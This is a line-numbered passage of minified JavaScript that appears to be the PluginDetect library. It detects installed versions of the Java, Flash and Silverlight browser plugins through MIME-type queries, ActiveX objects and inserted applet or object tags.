  638.                     l += 'style="' + this.getStyle.plugin(g) + '" ';
  639.                     var p = 1,
  640.                         m = 1;
  641.                     for (g = 0; g < c.length; g += 2) /[^\s]/.test(c[g + 1]) && (l += c[g] + '="' + c[g + 1] + '" '), /width/i.test(c[g]) && (p = 0), /height/i.test(c[g]) && (m = 0);
  642.                     l += (p ? 'width="' + this.pluginSize + '" ' : "") + (m ? 'height="' + this.pluginSize + '" ' : "");
  643.                     l += ">";
  644.                     for (g = 0; g < d.length; g += 2) /[^\s]/.test(d[g + 1]) && (l += a.openTag + 'param name="' + d[g] + '" value="' + d[g + 1] + '" />');
  645.                     l += e + a.openTag + "/" + b + ">"
  646.                 } else b = "", l = e;
  647.                 h || this.initDiv();
  648.                 c = h || this.getDiv();
  649.                 b = {
  650.                     span: null,
  651.                     winLoaded: a.win.loaded,
  652.                     tagName: b,
  653.                     outerHTML: l,
  654.                     DOM: this,
  655.                     time: (new Date).getTime(),
  656.                     width: this.width,
  657.                     obj: this.obj,
  658.                     readyState: this.readyState,
  659.                     objectProperty: this.objectProperty
  660.                 };
  661.                 if (c && c.parentNode) {
  662.                     this.setStyle(k, this.getStyle.span());
  663.                     c.appendChild(k);
  664.                     try {
  665.                         k.innerHTML = l
  666.                     } catch (q) {}
  667.                     b.span = k;
  668.                     b.winLoaded = a.win.loaded
  669.                 }
  670.                 return b
  671.             }
  672.         },
  673.         file: {
  674.             any: "fileStorageAny999",
  675.             valid: "fileStorageValid999",
  676.             save: function(b, c, d) {
  677.                 b && a.isDefined(d) && (b[this.any] || (b[this.any] = []), b[this.valid] || (b[this.valid] = []), b[this.any].push(d), (c = this.split(c, d)) && b[this.valid].push(c))
  678.             },
  679.             getValidLength: function(a) {
  680.                 return a && a[this.valid] ? a[this.valid].length : 0
  681.             },
  682.             getAnyLength: function(a) {
  683.                 return a && a[this.any] ? a[this.any].length : 0
  684.             },
  685.             getValid: function(a, c) {
  686.                 return a && a[this.valid] ? this.get(a[this.valid], c) : null
  687.             },
  688.             getAny: function(a, c) {
  689.                 return a && a[this.any] ? this.get(a[this.any], c) : null
  690.             },
  691.             get: function(b, c) {
  692.                 var d = b.length - 1,
  693.                     e = a.isNum(c) ? c : d;
  694.                 return 0 > e || e > d ? null : b[e]
  695.             },
  696.             split: function(b, c) {
  697.                 var d = null,
  698.                     e;
  699.                 b = b ? b.replace(".", "\.") : "";
  700.                 e = RegExp("^(.*[^\/])(" + b + "\s*)$");
  701.                 a.isString(c) && e.test(c) && (e = RegExp.$1.split("/"), d = {
  702.                     name: e[e.length - 1],
  703.                     ext: RegExp.$2,
  704.                     full: c
  705.                 }, e[e.length - 1] = "", d.path = e.join("/"));
  706.                 return d
  707.             }
  708.         },
  709.         Plugins: {}
  710.     };
  711.     window[a.name] = a;
  712.     a.INIT();
  713.     var k = {
  714.         mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  715.         mimeType_dummy: "application/dummymimejavaapplet",
  716.         classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  717.         classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",
  718.         navigator: {
  719.             init: function() {
  720.                 var b = k;
  721.                 try {
  722.                     this.a = window.navigator.javaEnabled()
  723.                 } catch (c) {}
  724.                 if (this.mimeObj = a.hasMimeType(b.mimeType)) this.pluginObj = this.mimeObj.enabledPlugin
  725.             },
  726.             a: !0,
  727.             javaEnabled: function() {
  728.                 return this.a
  729.             },
  730.             mimeObj: 0,
  731.             pluginObj: 0
  732.         },
  733.         OTF: null,
  734.         getVerifyTagsDefault: function() {
  735.             return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
  736.         },
  737.         getVersion: function(b, c, d) {
  738.             var e = this.applet,
  739.                 f = this.verify,
  740.                 g = this.navigator,
  741.                 h = null,
  742.                 l = null,
  743.                 k = null;
  744.             null === this.getVersionDone && (this.OTF = 0, g.init(), f && f.init());
  745.             e.setVerifyTagsArray(d);
  746.             a.file.save(this, ".jar", c);
  747.             0 === this.getVersionDone ? e.should_Insert_Query_Any() && (c = e.insert_Query_Any(b), this.setPluginStatus(c[0], c[1], h, b)) : (h && !a.dbug || !this.navMime.query().version || (h = this.navMime.version), h && !a.dbug || !this.navPlugin.query().version || (h = this.navPlugin.version), h && !a.dbug || !this.DTK.query().version || (h = this.DTK.version), this.nonAppletDetectionOk(h) && (k = h), this.setPluginStatus(k, l, h, b), e.should_Insert_Query_Any() && (c = e.insert_Query_Any(b), c[0] && (k = c[0], l = c[1])), this.setPluginStatus(k, l, h, b))
  748.         },
  749.         nonAppletDetectionOk: function(b) {
  750.             var c = this.navigator,
  751.                 d = a.browser,
  752.                 e = 1;
  753.             if (!b || !c.javaEnabled() || !d.isIE && !c.mimeObj || d.isIE && !d.ActiveXEnabled) e = 0;
  754.             return e
  755.         },
  756.         setPluginStatus: function(b, c, d, e) {
  757.             var f, g = 0,
  758.                 h = this.applet;
  759.             d = d || this.version0;
  760.             if (f = h.isRange(b)) h.setRange(f, e) == b && (g = f), b = 0;
  761.             3 > this.OTF && (this.installed = g ? 0 < g ? 0.7 : -0.1 : b ? 1 : d ? -0.2 : -1);
  762.             2 == this.OTF && this.NOTF && !this.applet.getResult()[0] && (this.installed = d ? -0.2 : -1);
  763.             3 == this.OTF && -0.5 != this.installed && 0.5 != this.installed && (this.installed = 1 <= this.NOTF.isJavaActive(1) ? 0.5 : -0.5);
  764.             4 != this.OTF || -0.5 != this.installed && 0.5 != this.installed || (b ? this.installed = 1 : g ? this.installed = 0 < g ? 0.7 : -0.1 : 1 <= this.NOTF.isJavaActive(1) ? d ? (this.installed = 1, b = d) : this.installed = 0 : this.installed = d ? -0.2 : -1);
  765.             d && (this.version0 = a.formatNum(a.getNum(d)));
  766.             b && !g && (this.version = a.formatNum(a.getNum(b)));
  767.             c && a.isString(c) && (this.vendor = c);
  768.             this.vendor || (this.vendor = "");
  769.             this.verify && this.verify.isEnabled() ? this.getVersionDone = 0 : 1 != this.getVersionDone && (this.getVersionDone = 2 > this.OTF ? 0 : this.applet.can_Insert_Query_Any() ? 0 : 1);
  770.             a.codebase.emptyGarbage();
  771.         },
  772.         DTK: {
  773.             hasRun: 0,
  774.             status: null,
  775.             VERSIONS: [],
  776.             version: "",
  777.             HTML: null,
  778.             Plugin2Status: null,
  779.             classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  780.             mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  781.             isDisabled: function(b) {
  782.                 return this.HTML ? 1 : b || a.dbug ? 0 : this.hasRun || !a.DOM.isEnabled.objectTagUsingActiveX() ? 1 : 0
  783.             },
  784.             query: function(b) {
  785.                 var c = k,
  786.                     d, e, f = a.DOM.altHTML,
  787.                     g, h = null,
  788.                     l = null;
  789.                 b = this.isDisabled(b);
  790.                 this.hasRun = 1;
  791.                 if (b) return this;
  792.                 this.status = 0;
  793.                 if (a.DOM.isEnabled.objectTagUsingActiveX())
  794.                     for (d = 0; d < this.classID.length; d++) {
  795.                         this.HTML = a.DOM.insert("object", ["classid", this.classID[d]], [], f);
  796.                         h = this.HTML.obj();
  797.                         if (a.pd.getPROP(h, "jvms")) break;
  798.                     } else(e = a.hasMimeType(this.mimeType)) && e.type && (this.HTML = a.DOM.insert("object", ["type", e.type], [], f), h = this.HTML.obj());
  799.                 if (h) {
  800.                     try {
  801.                         if (g = a.pd.getPROP(h, "jvms"))
  802.                             if (l = g.getLength(), a.isNum(l))
  803.                                 for (this.status = 0 < l ? 1 : -1, d = 0; d < l; d++)
  804.                                     if (e = a.getNum(g.get(l - 1 - d).version)) this.VERSIONS.push(e), a.formatNum(e)
  805.                     } catch (p) {}
  806.                     this.VERSIONS.length && (this.version = a.formatNum(this.VERSIONS[0]))
  807.                 }
  808.                 return this
  809.             }
  810.         },
  811.         navMime: {
  812.             hasRun: 0,
  813.             mimetype: "",
  814.             version: "",
  815.             mimeObj: 0,
  816.             pluginObj: 0,
  817.             regexJPI: /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  818.             isDisabled: function() {
  819.                 var a = k;
  820.                 return this.hasRun || !a.navigator.mimeObj ? 1 : 0
  821.             },
  822.             update: function(b) {
  823.                 var c = b ? b.enabledPlugin : 0,
  824.                     d = b && this.regexJPI.test(b.type || "") ? a.formatNum(a.getNum(RegExp.$1)) : 0;
  825.                 d && c && (c.description || c.name) && (0 < a.compareNums(d, this.version || a.formatNum("0")) && (this.version = d, this.mimeObj = b, this.pluginObj = c, this.mimetype = b.type))
  826.             },
  827.             query: function() {
  828.                 var b = k,
  829.                     c, d, e, f, g, h = navigator.mimeTypes;
  830.                 c = this.isDisabled();
  831.                 this.hasRun = 1;
  832.                 if (c) return this;
  833.                 g = h.length;
  834.                 if (a.isNum(g))
  835.                     for (c = 0; c < g; c++) {
  836.                         d = 0;
  837.                         try {
  838.                             d = h[c]
  839.                         } catch (l) {}
  840.                         this.update(d)
  841.                     }
  842.                 if (!this.version || a.dbug)
  843.                     for (f = a.isArray(b.mimeType) ? b.mimeType : [b.mimeType], c = 0; c < f.length; c++) {
  844.                         d = 0;
  845.                         try {
  846.                             d = h[f[c]]
  847.                         } catch (n) {}
  848.                         g = (e = d ? d.enabledPlugin : 0) ? e.length : null;
  849.                         if (a.isNum(g))
  850.                             for (b = 0; b < g; b++) {
  851.                                 d = 0;
  852.                                 try {
  853.                                     d = e[b]
  854.                                 } catch (p) {}
  855.                                 this.update(d)
  856.                             }
  857.                     }
  858.                 return this
  859.             }
  860.         },
  861.         navPlugin: {
  862.             hasRun: 0,
  863.             version: "",
  864.             getPlatformNum: function() {
  865.                 var b = 0,
  866.                     c = /Java.*TM.*Platform[^\d]*(\d+)[\.,_]?(\d*)\s*U?(?:pdate)?\s*(\d*)/i,
  867.                     d = a.pd.findNavPlugin({
  868.                         find: c,
  869.                         mimes: k.mimeType,
  870.                         plugins: 1
  871.                     });
  872.                 d && (c.test(d.name || "") || c.test(d.description || "")) && 5 <= parseInt(RegExp.$1, 10) && (b = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0"));
  873.                 return b
  874.             },
  875.             getPluginNum: function() {
  876.                 var b = k,
  877.                     c = 0,
  878.                     d, e;
  879.                 d = /Java[^\d]*Plug-in/i;
  880.                 if (e = a.pd.findNavPlugin({
  881.                         find: d,
  882.                         num: 1,
  883.                         mimes: b.mimeType,
  884.                         plugins: 1,
  885.                         dbug: 0
  886.                     })) c = this.checkPluginNum(e.description, d), d = this.checkPluginNum(e.name, d), c = c && d ? 0 < a.compareNums(c, d) ? c : d : c || d;
  887.                 !c && (d = /Java.*\d.*Plug-in/i, e = a.pd.findNavPlugin({
  888.                     find: d,
  889.                     mimes: b.mimeType,
  890.                     plugins: 1,
  891.                     dbug: 0
  892.                 })) && (c = this.checkPluginNum(e.description, d), d = this.checkPluginNum(e.name, d), c = c && d ? 0 < a.compareNums(c, d) ? c : d : c || d);
  893.                 return c
  894.             },
  895.             checkPluginNum: function(b, c) {
  896.                 var d;
  897.                 (d = c.test(b) ? a.formatNum(a.getNum(b)) : 0) && 0 <= a.compareNums(d, a.formatNum("10")) && (d = d.split(a.splitNumRegx), d = a.formatNum("1," + (parseInt(d[0], 10) - 3) + ",0," + d[1]));
  898.                 d && (0 > a.compareNums(d, a.formatNum("1,3")) || 0 <= a.compareNums(d, a.formatNum("2"))) && (d = 0);
  899.                 return d
  900.             },
  901.             query: function() {
  902.                 var b = k,
  903.                     c = 0,
  904.                     b = this.hasRun || !b.navigator.mimeObj;
  905.                 this.hasRun = 1;
  906.                 if (b) return this;
  907.                 (!c || a.dbug) && (b = this.getPlatformNum()) && (c = b);
  908.                 (!c || a.dbug) && (b = this.getPluginNum()) && (c = b);
  909.                 c && (this.version = a.formatNum(c));
  910.                 return this
  911.             }
  912.         },
  913.         applet: {
  914.             codebase: {
  915.                 isMin: function(b) {
  916.                     this.$$ = k;
  917.                     return a.codebase.isMin(this, b)
  918.                 },
  919.                 search: function() {
  920.                     this.$$ = k;
  921.                     return a.codebase.search(this)
  922.                 },
  923.                 DIGITMAX: [
  924.                     [15, 128],
  925.                     [6, 0, 512], 0, [1, 5, 2, 256], 0, [1, 4, 1, 1],
  926.                     [1, 4, 0, 64],
  927.                     [1, 3, 2, 32]
  928.                 ],
  929.                 DIGITMIN: [1, 0, 0, 0],
  930.                 Upper: "999 10 5,0,20 1,5,0,20 1,4,1,20 1,4,1,2 1,4,1 1,4".split(" "),
  931.                 Lower: "10 5,0,20 1,5,0,20 1,4,1,20 1,4,1,2 1,4,1 1,4 0".split(" "),
  932.                 convert: [function(a, c) {
  933.                     return c ? [1 < parseInt(a[0], 10) ? "99" : parseInt(a[1], 10) + 3 + "", a[3], "0", "0"] : ["1", parseInt(a[0], 10) - 3 + "", "0", a[1]]
  934.                 }, function(a, c) {
  935.                     return c ? [a[1], a[2], a[3] + "0", "0"] : ["1", a[0], a[1], a[2].substring(0, a[2].length - 1 || 1)]
  936.                 }, 0, function(a, c) {
  937.                     return c ? [a[0], a[1], a[2], a[3] + "0"] : [a[0], a[1], a[2], a[3].substring(0, a[3].length - 1 || 1)]
  938.                 }, 0, 1, function(a, c) {
  939.                     return c ? [a[0], a[1], a[2], a[3] + "0"] : [a[0], a[1], a[2], a[3].substring(0, a[3].length - 1 || 1)]
  940.                 }, 1]
  941.             },
  942.             results: [
  943.                 [null, null],
  944.                 [null, null],
  945.                 [null, null],
  946.                 [null, null]
  947.             ],
  948.             getResult: function() {
  949.                 var a = this.results,
  950.                     c, d = [];
  951.                 for (c = a.length - 1; 0 <= c && (d = a[c], !d[0]); c--);
  952.                 return d = [].concat(d)
  953.             },
  954.             DummySpanTagHTML: 0,
  955.             HTML: [0, 0, 0, 0],
  956.             active: [0, 0, 0, 0],
  957.             DummyObjTagHTML: 0,
  958.             DummyObjTagHTML2: 0,
  959.             allowed: [1, 1, 1, 1],
  960.             VerifyTagsHas: function(a) {
  961.                 var c;
  962.                 for (c = 0; c < this.allowed.length; c++)
  963.                     if (this.allowed[c] === a) return 1;
  964.                 return 0
  965.             },
  966.             saveAsVerifyTagsArray: function(b) {
  967.                 var c;
  968.                 if (a.isArray(b)) {
  969.                     for (c = 1; c < this.allowed.length; c++) b.length > c - 1 && a.isNum(b[c - 1]) && (0 > b[c - 1] && (b[c - 1] = 0), 3 < b[c - 1] && (b[c - 1] = 3), this.allowed[c] = b[c - 1]);
  970.                     this.allowed[0] = this.allowed[3];
  971.                 }
  972.             },
  973.             setVerifyTagsArray: function(b) {
  974.                 var c = k;
  975.                 null === c.getVersionDone && this.saveAsVerifyTagsArray(c.getVerifyTagsDefault());
  976.                 a.dbug ? this.saveAsVerifyTagsArray([3, 3, 3]) : b && this.saveAsVerifyTagsArray(b)
  977.             },
  978.             isDisabled: {
  979.                 single: function(b) {
  980.                     if (this.all()) return 1;
  981.                     if (0 == b) return a.codebase.isDisabled();
  982.                     if (1 == b) return !a.DOM.isEnabled.objectTag();
  983.                     if (2 == b) return this.AppletTag();
  984.                     if (3 == b) return !a.DOM.isEnabled.objectTagUsingActiveX()
  985.                 },
  986.                 all_: null,
  987.                 all: function() {
  988.                     var b = k.navigator,
  989.                         c = a.browser;
  990.                     null === this.all_ && (b = c.isOpera && 0 > a.compareNums(c.verOpera, "13,0,0,0") && !b.javaEnabled() || this.AppletTag() && !a.DOM.isEnabled.objectTag() || !b.mimeObj && !c.isIE ? 1 : 0, this.all_ = b);
  991.                     return this.all_
  992.                 },
  993.                 AppletTag: function() {
  994.                     var b = k.navigator;
  995.                     return a.browser.isIE ? !b.javaEnabled() : 0
  996.                 },
  997.                 VerifyTagsDefault_1: function() {
  998.                     var b = a.browser;
  999.                     return b.isIE && (9 > b.verIE || !b.ActiveXEnabled) || b.verGecko && 0 > a.compareNums(b.verGecko, a.formatNum("2")) || b.isSafari && (!b.verSafari || 0 > a.compareNums(b.verSafari, a.formatNum("4"))) || b.isOpera && 0 > a.compareNums(b.verOpera, a.formatNum("11")) ? 0 : 1
  1000.                 }
  1001.             },
  1002.             can_Insert_Query: function(a) {
  1003.                 var c = this.results[0][0],
  1004.                     d = this.getResult()[0];
  1005.                 return this.HTML[a] || 0 == a && null !== c && !this.isRange(c) || 0 == a && d && !this.isRange(d) ? 0 : !this.isDisabled.single(a)
  1006.             },
  1007.             can_Insert_Query_Any: function() {
  1008.                 var a;
  1009.                 for (a = 0; a < this.results.length; a++)
  1010.                     if (this.can_Insert_Query(a)) return 1;
  1011.                 return 0
  1012.             },
  1013.             should_Insert_Query: function(a) {
  1014.                 var c = this.allowed,
  1015.                     d = k,
  1016.                     e = this.getResult()[0],
  1017.                     e = e && (0 < a || !this.isRange(e));
  1018.                 return this.can_Insert_Query(a) && 0 !== c[a] ? 3 == c[a] || 2.8 == c[a] && !e || !d.nonAppletDetectionOk(d.version0) && (2 == c[a] || 1 == c[a] && !e) ? 1 : 0 : 0
  1019.             },
  1020.             should_Insert_Query_Any: function() {
  1021.                 var a;
  1022.                 for (a = 0; a < this.allowed.length; a++)
  1023.                     if (this.should_Insert_Query(a)) return 1;
  1024.                 return 0
  1025.             },
  1026.             query: function(b) {
  1027.                 var c = k,
  1028.                     d = null,
  1029.                     e = null,
  1030.                     f = this.results,
  1031.                     g, h = this.HTML[b];
  1032.                 if (h && h.obj() && !(f[b][0] || c.bridgeDisabled || a.dbug && 3 > c.OTF)) {
  1033.                     c = h.obj();
  1034.                     g = h.readyState();
  1035.                     try {
  1036.                         d = a.getNum(c.getVersion() + ""), e = c.getVendor() + "", c.statusbar(" ")
  1037.                     } catch (l) {}
  1038.                     d && a.isStrNum(d) && (f[b] = [d, e], this.active[b] = 2);
  1039.                 }
  1040.             },
  1041.             isRange: function(a) {
  1042.                 return /^[<>]/.test(a || "") ? ">" == a.charAt(0) ? 1 : -1 : 0
  1043.             },
  1044.             setRange: function(b, c) {
  1045.                 return (b ? 0 < b ? ">" : "<" : "") + (a.isString(c) ? c : "")
  1046.             },
  1047.             insertJavaTag: function(b, c, d, e, f) {
  1048.                 var g = k,
  1049.                     h = a.file.getValid(g),
  1050.                     l = h.path,
  1051.                     h = ["archive", h.name + h.ext, "code", "A.class"];
  1052.                 e = (e ? ["width", e] : []).concat(f ? ["height", f] : []);
  1053.                 f = ["mayscript", "true"];
  1054.                 var n = ["scriptable", "true", "codebase_lookup", "false"].concat(f),
  1055.                     p = g.navigator,
  1056.                     p = !a.browser.isIE && p.mimeObj && p.mimeObj.type ? p.mimeObj.type : g.mimeType[0];
  1057.                 if (1 == b) return a.DOM.insert("object", ["type", p].concat(e), ["codebase", l].concat(h).concat(n), d, g, 0, c);
  1058.                 if (2 == b) return a.browser.isIE ? a.DOM.insert("applet", ["alt", d].concat(f).concat(h).concat(e), ["codebase", l].concat(n), d, g, 0, c) : a.DOM.insert("applet", ["codebase", l, "alt", d].concat(f).concat(h).concat(e), [].concat(n), d, g, 0, c);
  1059.                 if (3 == b) return a.browser.isIE ? a.DOM.insert("object", ["classid", g.classID].concat(e), ["codebase", l].concat(h).concat(n), d, g, 0, c) : a.DOM.insert();
  1060.                 if (4 == b) return a.DOM.insert("embed", ["codebase", l].concat(h).concat(["type", p]).concat(n).concat(e), [], d, g, 0, c)
  1061.             },
  1062.             insert_Query_Any: function(b) {
  1063.                 var c = k,
  1064.                     d = this.results,
  1065.                     e = this.HTML,
  1066.                     f = a.DOM.altHTML,
  1067.                     g, h = a.file.getValid(c);
  1068.                 this.should_Insert_Query(0) && (2 > c.OTF && (c.OTF = 2), d[0] = [0, 0], (g = b ? this.codebase.isMin(b) : this.codebase.search()) && (d[0][0] = b ? this.setRange(g, b) : g), this.active[0] = g ? 1.5 : -1);
  1069.                 if (!h) return this.getResult();
  1070.                 this.DummySpanTagHTML || (this.DummySpanTagHTML = a.DOM.insert("", [], [], f));
  1071.                 this.should_Insert_Query(1) && (2 > c.OTF && (c.OTF = 2), e[1] = this.insertJavaTag(1, 0, f), d[1] = [0, 0], this.query(1));
  1072.                 this.should_Insert_Query(2) && (2 > c.OTF && (c.OTF = 2), e[2] = this.insertJavaTag(2, 0, f), d[2] = [0, 0], this.query(2));
  1073.                 this.should_Insert_Query(3) && (2 > c.OTF && (c.OTF = 2), e[3] = this.insertJavaTag(3, 0, f), d[3] = [0, 0], this.query(3));
  1074.                 a.DOM.isEnabled.objectTag() && (this.DummyObjTagHTML || !e[1] && !e[2] || (this.DummyObjTagHTML = a.DOM.insert("object", ["type", c.mimeType_dummy], [], f)), !this.DummyObjTagHTML2 && e[3] && (this.DummyObjTagHTML2 = a.DOM.insert("object", ["classid", c.classID_dummy], [], f)));
  1075.                 c.NOTF.init();
  1076.                 return this.getResult()
  1077.             }
  1078.         },
  1079.         NOTF: {
  1080.             count: 0,
  1081.             countMax: 25,
  1082.             intervalLength: 250,
  1083.             init: function() {
  1084.                 var b = k;
  1085.                 3 > b.OTF && this.shouldContinueQuery() && (b.OTF = 3, this.onIntervalQuery = a.ev.handler(this.$$onIntervalQuery, this), a.win.loaded || a.win.loadPrvtHndlrs.push([this.onWinLoadQuery, this]), setTimeout(this.onIntervalQuery, this.intervalLength))
  1086.             },
  1087.             shouldContinueQuery: function() {
  1088.                 var b = k.applet,
  1089.                     c, d = 0;
  1090.                 if (a.win.loaded && this.count > this.countMax) return 0;
  1091.                 for (c = 0; c < b.results.length; c++)
  1092.                     if (b.HTML[c] && (!a.win.loaded && this.count > this.countMax && a.codebase.pluginMayBeHanging(b.HTML[c].span) && (d = 1, b.HTML[c].DELETE = 1), !d && !b.results[c][0] && (2 <= b.allowed[c] || 1 == b.allowed[c] && !b.getResult()[0]) && 0 <= this.isAppletActive(c))) return 1;
  1093.                 return 0
  1094.             },
  1095.             isJavaActive: function(a) {
  1096.                 var c = k,
  1097.                     d, e, f = -9;
  1098.                 for (d = 0; d < c.applet.HTML.length; d++) e = this.isAppletActive(d, a), e > f && (f = e);
  1099.                 return f
  1100.             },
  1101.             isAppletActive: function(b, c) {
  1102.                 var d = k,
  1103.                     e = d.navigator,
  1104.                     f = d.applet,
  1105.                     g = f.HTML[b],
  1106.                     h = f.active,
  1107.                     l = 0,
  1108.                     n;
  1109.                 n = h[b];
  1110.                 if (c || 1.5 <= n || !g || !g.span) return n;
  1111.                 n = a.DOM.getTagStatus(g, f.DummySpanTagHTML, f.DummyObjTagHTML, f.DummyObjTagHTML2, this.count);
  1112.                 for (f = 0; f < h.length; f++) 0 < h[f] && (l = 1);
  1113.                 n = 1 != n ? n : a.browser.isIE || d.version0 && e.javaEnabled() && e.mimeObj && ("object" == g.tagName || l) ? 1 : 0;
  1114.                 return h[b] = n
  1115.             },
  1116.             onWinLoadQuery: function(a, c) {
  1117.                 var d;
  1118.                 3 == k.OTF && (d = c.queryAllApplets(), c.queryCompleted(d))
  1119.             },
  1120.             $$onIntervalQuery: function(a) {
  1121.                 var c = k,
  1122.                     d;
  1123.                 3 == c.OTF && (d = a.queryAllApplets(), a.shouldContinueQuery() || a.queryCompleted(d));
  1124.                 a.count++;
  1125.                 3 == c.OTF && setTimeout(a.onIntervalQuery, a.intervalLength)
  1126.             },
  1127.             queryAllApplets: function() {
  1128.                 var b = k.applet,
  1129.                     c;
  1130.                 for (c = 0; c < b.results.length; c++) b.query(c);
  1131.                 b = b.getResult();
  1132.                 return b
  1133.             },
  1134.             queryCompleted: function(b) {
  1135.                 var c = k,
  1136.                     d = c.applet,
  1137.                     e;
  1138.                 if (!(4 <= c.OTF)) {
  1139.                     c.OTF = 4;
  1140.                     this.isJavaActive();
  1141.                     for (e = 0; e < d.HTML.length; e++) d.HTML[e] && d.HTML[e].DELETE && (a.DOM.emptyNode(d.HTML[e].span), d.HTML[e].span = null);
  1142.                     c.setPluginStatus(b[0], b[1], 0);
  1143.                     a.onDetectionDone && c.DoneHndlrs && (a.ev.callArray(c.DoneHndlrs))
  1144.                 }
  1145.             }
  1146.         },
  1147.         zz: 0
  1148.     };
  1149.     a.addPlugin("java", k);
  1150.     var t = {
  1151.         mimeType: "application/x-shockwave-flash",
  1152.         setPluginStatus: function(b, c) {
  1153.             this.installed = c ? 1 : b ? 0 : -1;
  1154.             this.version = a.formatNum(c);
  1155.             this.getVersionDone = -1 == this.installed || this.axo.version || this.instance.version ? 1 : 0
  1156.         },
  1157.         getVersion: function(b, c) {
  1158.             var d = null,
  1159.                 e = 0;
  1160.             e && !a.dbug || !this.navPlugin.query().installed || (e = 1);
  1161.             d && !a.dbug || !this.navPlugin.query().version || (d = this.navPlugin.version);
  1162.             e && !a.dbug || !this.axo.query().installed || (e = 1);
  1163.             d && !a.dbug || !this.axo.query().version || (d = this.axo.version);
  1164.             (!e && !d || c || a.dbug) && this.instance.query().version && (e = 1, d = this.instance.version);
  1165.             this.setPluginStatus(e, d)
  1166.         },
  1167.         navPlugin: {
  1168.             hasRun: 0,
  1169.             installed: 0,
  1170.             version: null,
  1171.             getNum: function(a) {
  1172.                 return a ? (a = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(a)) ? a[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null : null
  1173.             },
  1174.             query: function() {
  1175.                 var b = t,
  1176.                     c, d = this.hasRun || !a.hasMimeType(b.mimeType);
  1177.                 this.hasRun = 1;
  1178.                 if (d) return this;
  1179.                 if (b = a.pd.findNavPlugin({
  1180.                         find: "Shockwave.*Flash",
  1181.                         mimes: b.mimeType,
  1182.                         plugins: ["Shockwave Flash"]
  1183.                     })) this.installed = 1, b.description && (c = this.getNum(b.description));
  1184.                 c && (c = a.getPluginFileVersion(b, c));
  1185.                 c && (this.version = c);
  1186.                 return this
  1187.             }
  1188.         },
  1189.         axo: {
  1190.             hasRun: 0,
  1191.             installed: 0,
  1192.             version: null,
  1193.             progID: "ShockwaveFlash.ShockwaveFlash",
  1194.             classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  1195.             query: function() {
  1196.                 var b, c, d;
  1197.                 b = this.hasRun;
  1198.                 this.hasRun = 1;
  1199.                 if (b) return this;
  1200.                 for (c = 0; 10 > c; c++)
  1201.                     if (d = a.getAXO(this.progID + (c ? "." + c : ""))) {
  1202.                         this.installed = 1;
  1203.                         b = 0;
  1204.                         try {
  1205.                             b = a.getNum(d.GetVariable("$version") + "")
  1206.                         } catch (e) {}
  1207.                         if (b && (this.version = b, !a.dbug)) break
  1208.                     }
  1209.                 return this
  1210.             }
  1211.         },
  1212.         instance: {
  1213.             hasRun: 0,
  1214.             version: null,
  1215.             HTML: null,
  1216.             isEnabled: function() {
  1217.                 var b = t,
  1218.                     c = 1;
  1219.                 if (this.hasRun || a.DOM.isEnabled.objectTagUsingActiveX() || !a.hasMimeType(b.mimeType)) c = 0;
  1220.                 return c
  1221.             },
  1222.             query: function() {
  1223.                 var b = t,
  1224.                     c = this.isEnabled();
  1225.                 this.hasRun = 1;
  1226.                 if (c) {
  1227.                     this.HTML = a.DOM.insert("object", ["type", b.mimeType], ["play", "false", "menu", "false"], "", b);
  1228.                     try {
  1229.                         this.version = a.getNum(this.HTML.obj().GetVariable("$version") + "")
  1230.                     } catch (d) {}
  1231.                 }
  1232.                 return this
  1233.             }
  1234.         }
  1235.     };
  1236.     a.addPlugin("flash", t);
  1237.     a.addPlugin("silverlight", {
  1238.         getVersion: function() {
  1239.             var b = null,
  1240.                 c = 0;
  1241.             c && !a.dbug || !this.nav.query().installed || (c = 1);
  1242.             b && !a.dbug || !this.nav.query().version || (b = this.nav.version);
  1243.             c && !a.dbug || !this.axo.query().installed || (c = 1);
  1244.             b && !a.dbug || !this.axo.query().version || (b = this.axo.version);
  1245.             this.version = a.formatNum(b);
  1246.             this.installed = b ? 1 : c ? 0 : -1
  1247.         },
  1248.         nav: {
  1249.             hasRun: 0,
  1250.             installed: 0,
  1251.             version: null,
  1252.             mimeType: ["application/x-silverlight", "application/x-silverlight-2"],
  1253.             query: function() {
  1254.                 var b, c;
  1255.                 c = this.hasRun || !a.hasMimeType(this.mimeType);
  1256.                 this.hasRun = 1;
  1257.                 if (c) return this;
  1258.                 if (c = a.pd.findNavPlugin({
  1259.                         find: "Silverlight.*Plug-?in",
  1260.                         mimes: this.mimeType,
  1261.                         plugins: "Silverlight Plug-In"
  1262.                     })) this.installed = 1;
  1263.                 c && c.description && (b = a.formatNum(a.getNum(c.description + "")));
  1264.                 b && (b = b.split(a.splitNumRegx), 2 > parseInt(b[0], 10) && 30226 <= parseInt(b[2], 10) && (b[0] = "2"), b = b.join(","));
  1265.                 b && (this.version = b);
  1266.                 return this
  1267.             }
  1268.         },
  1269.         axo: {
  1270.             hasRun: 0,
  1271.             installed: 0,
  1272.             version: null,
  1273.             progID: "AgControl.AgControl",
  1274.             maxdigit: [20, 10, 10, 100, 100, 10],
  1275.             mindigit: [0, 0, 0, 0, 0, 0],
  1276.             IsVersionSupported: function(b, c) {
  1277.                 try {
  1278.                     return this.testVersion ? 0 <= a.compareNums(a.formatNum(this.testVersion.join(",")), a.formatNum(c.join(","))) : b.IsVersionSupported(this.format(c))
  1279.                 } catch (d) {}
  1280.                 return 0
  1281.             },
  1282.             format: function(a) {
  1283.                 return a[0] + "." + a[1] + "." + a[2] + this.make2digits(a[3]) + this.make2digits(a[4]) + "." + a[5]
  1284.             },
  1285.             make2digits: function(a) {
  1286.                 return (10 > a ? "0" : "") + a + ""
  1287.             },
  1288.             query: function() {
  1289.                 var b, c;
  1290.                 b = this.hasRun;
  1291.                 this.hasRun = 1;
  1292.                 if (b) return this;
